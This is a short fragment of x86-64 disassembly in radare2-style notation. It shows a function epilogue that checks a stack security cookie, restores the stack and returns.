mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.14000bb20
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret